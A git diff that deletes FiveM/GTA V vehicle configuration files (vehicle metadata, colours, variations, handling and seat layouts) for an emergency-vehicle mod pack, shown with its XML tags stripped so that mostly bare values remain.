- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3f150
- code3f150
- codef150
- code3f150
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3silverado
- code3silverado
- codesilv
- code3silverado
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
--
- code3bmw
- code3bmw
- POLICEB
- code3bmw
-
- null
- null
- null
- null
-
- null
- POLICEB
- LAYOUT_BIKE_DIRT
- BIKE_COVER_OFFSET_INFO
- SANCHEZ_POV_TUNING
- EXPLOSION_INFO_DEFAULT
-
- FOLLOW_UPRIGHT_BIKE_CAMERA
- BIKE_AIM_CAMERA
- BIKE_SANCHEZ_POV_CAMERA
- BIKE_SANCHEZ_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_MOTORBIKE_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 10.000000
- 25.000000
- 60.000000
- 120.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_NO_BOOT FLAG_HAS_LIVERY FLAG_IGNORE_ON_SIDE_CHECK FLAG_AVERAGE_CAR FLAG_IS_OFFROAD_VEHICLE FLAG_HEADLIGHTS_USE_ACTUAL_BONE_POS FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_BIKE
- VPT_FRONT_AND_BACK_PLATES
- VDT_SPORTBK
- VC_EMERGENCY
- VWT_BIKE
-
-
-
-
-
- A_M_M_Hillbilly_02
-
-
- -
- A_M_M_Salton_01
-
-
-
-
-
-
-
-
-
-
-
- - WHEEL_REAR_LEFT_CAMERA
-
- Bike
-
-
-
-
- - BIKE_SANCHEZ_FRONT
- - BIKE_DAEMON_REAR
-
-
--
- code3harley
- code3harley
- POLICEB
- code3harley
-
- null
- null
- null
- null
-
- null
- POLICEB
- LAYOUT_BIKE_CHOPPER
- BIKE_COVER_OFFSET_INFO
- SANCHEZ_POV_TUNING
- EXPLOSION_INFO_DEFAULT
-
- FOLLOW_UPRIGHT_BIKE_CAMERA
- BIKE_AIM_CAMERA
- BIKE_SANCHEZ_POV_CAMERA
- BIKE_SANCHEZ_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_MOTORBIKE_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 10.000000
- 25.000000
- 60.000000
- 120.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_NO_BOOT FLAG_HAS_LIVERY FLAG_IGNORE_ON_SIDE_CHECK FLAG_AVERAGE_CAR FLAG_IS_OFFROAD_VEHICLE FLAG_HEADLIGHTS_USE_ACTUAL_BONE_POS FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_BIKE
- VPT_FRONT_AND_BACK_PLATES
- VDT_SPORTBK
- VC_EMERGENCY
- VWT_BIKE
-
-
-
-
-
- A_M_M_Hillbilly_02
-
-
- -
- A_M_M_Salton_01
-
-
-
-
-
-
-
-
-
-
-
- - WHEEL_REAR_LEFT_CAMERA
-
- Bike
-
-
-
-
- - BIKE_SANCHEZ_FRONT
- - BIKE_DAEMON_REAR
-
-
- -
- code3durango
- code3durango
- codedur
- code3durango
-
- null
- null
- null
- null
-
- null
- demonv8
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code316fpiu
- code316fpiu
- codeexp16
- code316fpiu
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3f250
- code3f250
- codef250
- code3f250
-
- null
- null
- null
- null
-
- null
- cummins5924v
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code319silv
- code319silv
- code19silv
- code319silv
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/__resource.lua b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/__resource.lua
deleted file mode 100644
index fdc8dfb3a..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/__resource.lua
+++ /dev/null
@@ -1,17 +0,0 @@
-resource_manifest_version '77731fab-63ca-442c-a67b-abc70f28dfa5'
-
--- Leaked By: Leaking Hub | Joshua Y. | https://discord.gg/aXWXXst
-
-files {
- 'vehicles.meta',
- 'carvariations.meta',
- 'carcols.meta',
- 'handling.meta',
- 'vehiclelayouts.meta',
-}
-
-data_file 'HANDLING_FILE' 'handling.meta'
-data_file 'VEHICLE_METADATA_FILE' 'vehicles.meta'
-data_file 'CARCOLS_FILE' 'carcols.meta'
-data_file 'VEHICLE_VARIATION_FILE' 'carvariations.meta'
-data_file 'VEHICLE_LAYOUTS_FILE' 'vehiclelayouts.meta'
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carcols.meta
deleted file mode 100644
index 0f5d7be7d..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carcols.meta
+++ /dev/null
@@ -1,758 +0,0 @@
-
-
-
-
-
- -
-
- e450ambo
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carvariations.meta
deleted file mode 100644
index 1f79491d6..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carvariations.meta
+++ /dev/null
@@ -1,526 +0,0 @@
-
-
-
-
- -
- e450ambo
-
-
-
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 157_massacaro2_modkit
-
-
-
-
-
-
-
-
- -
- pd2
-
-
-
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 157_massacaro2_modkit
-
-
-
-
-
-
-
-
- -
- pd5
-
-
-
-
- 430
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 157_massacaro2_modkit
-
-
-
-
-
-
-
-
- -
- pd4
-
-
-
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 157_massacaro2_modkit
-
-
-
-
-
-
-
-
- -
- pd3
-
-
-
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 157_massacaro2_modkit
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/handling.meta
deleted file mode 100644
index 9fe90e8d5..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/handling.meta
+++ /dev/null
@@ -1,63 +0,0 @@
-
-
-
-
- -
- e450ambo
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 224048
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehiclelayouts.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehiclelayouts.meta
deleted file mode 100644
index 3a36c4d2c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehiclelayouts.meta
+++ /dev/null
@@ -1,141 +0,0 @@
-
-
-
-
- -
- REDNECK_AMBO_RIGHT
-
-
-
- clipset@veh@common@car@ps
- CommonVarClipSet
-
-
-
-
-
- -
- ENTRY_REDNECK_AMBULANCE_REAR_RIGHT_1
-
-
-
- clipset@veh@prison_bus@rps1@enter_exit
- EntryVarClipSet
-
-
-
-
-
- -
- EXIT_REDNECK_AMBULANCE_FRONT_RIGHT
-
-
-
- clipset@veh@van@granger@ps@enter_exit
- ExitVarClipSet
-
-
-
-
-
-
-
-
- -
- ENTRY_POINT_ECOLINE_REAR_LEFT
- door_pside_r
-
- handle_pside_r
- REAR_LEFT
- SIDE_REAR
-
-
-
-
-
-
-
-
-
-
-
- -
- ENTRY_POINT_ANIM_ECOLINE_REDNECK_REAR_RIGHT
-
-
-
-
-
-
-
-
- ENTER_VEHICLE_STD
-
-
-
-
-
- UseVehicleRelativeEntryPosition DontCloseDoorInside DontCloseDoorOutside NavigateToWarpEntryPoint
-
-
-
-
-
-
- -
- LAYOUT_ECOLINE
-
-
-
-
-
-
- -
-
-
-
- -
-
-
-
- -
-
-
-
-
-
- -
-
-
-
- -
-
-
-
- -
-
-
-
- -
-
-
-
-
- StreamAnims UseVanOpenDoorBlendParams UseDoorOscillation UseLeanSteerAnims UseLowerDoorBlockTest
-
- busted_vehicle_van
-
-
-
-
-
- - clipset@veh@van@ds@idle_a
- - clipset@veh@van@ds@idle_b
- - clipset@veh@van@ds@idle_c
- - clipset@veh@van@ds@idle_d
- - clipset@veh@van@ds@idle_e
-
-
- - clipset@veh@van@ds@hit_wheel@idle_a
- - clipset@veh@van@ds@hit_wheel@idle_b
- - clipset@veh@van@ds@hit_wheel@idle_c
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehicles.meta
deleted file mode 100644
index cb641017c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehicles.meta
+++ /dev/null
@@ -1,134 +0,0 @@
-
-
- vehshare
-
-
- -
- e450ambo
- e450ambo
- e450ambo
- e450ambo
-
- null
- null
- null
- null
-
- null
- AMBULANCE
- LAYOUT_FIRETRUCK
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1500.000000
- 3000.000000
- 7000.000000
- 14000.000000
- 50000.000000
- 50000.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_ATTACH_TRAILER_ON_HIGHWAY FLAG_ATTACH_TRAILER_IN_CITY FLAG_HAS_LIVERY FLAG_EXTRAS_STRONG FLAG_EXTRAS_RARE FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_HAS_INTERIOR_EXTRAS FLAG_DONT_SPAWN_AS_AMBIENT FLAG_DONT_SPAWN_IN_CARGEN FLAG_NO_RESPRAY
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_CAVALCADE
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - traffictrailer
- - trailersmall
-
-
-
-
- - EXTRA_10
-
-
-
-
-
- EXTRA_10
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_1.png
deleted file mode 100644
index 0380aa7a3..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_2.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_2.png
deleted file mode 100644
index 26316e084..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_2.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_1.png
deleted file mode 100644
